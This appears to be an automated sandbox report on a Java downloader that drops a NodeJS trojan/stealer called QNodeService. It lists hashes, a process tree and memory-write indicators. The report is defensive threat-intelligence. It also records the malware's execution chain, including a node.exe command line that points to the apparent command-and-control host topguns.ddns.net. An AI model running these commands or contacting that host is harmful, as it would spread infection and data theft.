qnodeservice | 303c5311de9c5dd4bb49cac5d1efdb4c5cccf03c8bf058d8c87055568712467d

Analysis

Target

IMG-10227821963777100026367819.jar
Size

77KB
MD5

c36face399b3f49c67873aea7185b3af
SHA1

30cbb16d7b913d153cac91ae5c3e7eecb6b1d9e2
SHA256

303c5311de9c5dd4bb49cac5d1efdb4c5cccf03c8bf058d8c87055568712467d
SHA512

38ac7b5287ea23d54833095ac6975285e090ac10cbd4b13662f36764316c0bdd23d042026ffc0b885ea2a85ec272319f2de977ea9cb9c7adf20d4a54147a54be

Score

10^/10

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 1 IoCs

pid	Process
568	node.exe

JavaScript code in executable 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab6c-164.dat	js

Suspicious behavior: EnumeratesProcesses 4 IoCs

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 640 wrote to memory of 3680	640	java.exe	76
PID 640 wrote to memory of 3680	640	java.exe	76
PID 3680 wrote to memory of 568	3680	javaw.exe	80
PID 3680 wrote to memory of 568	3680	javaw.exe	80

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\IMG-10227821963777100026367819.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:640
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\e10083c8.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain topguns.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:568

memory/568-165-0x0000021D269C0000-0x0000021D269C1000-memory.dmp

Filesize
4KB

Download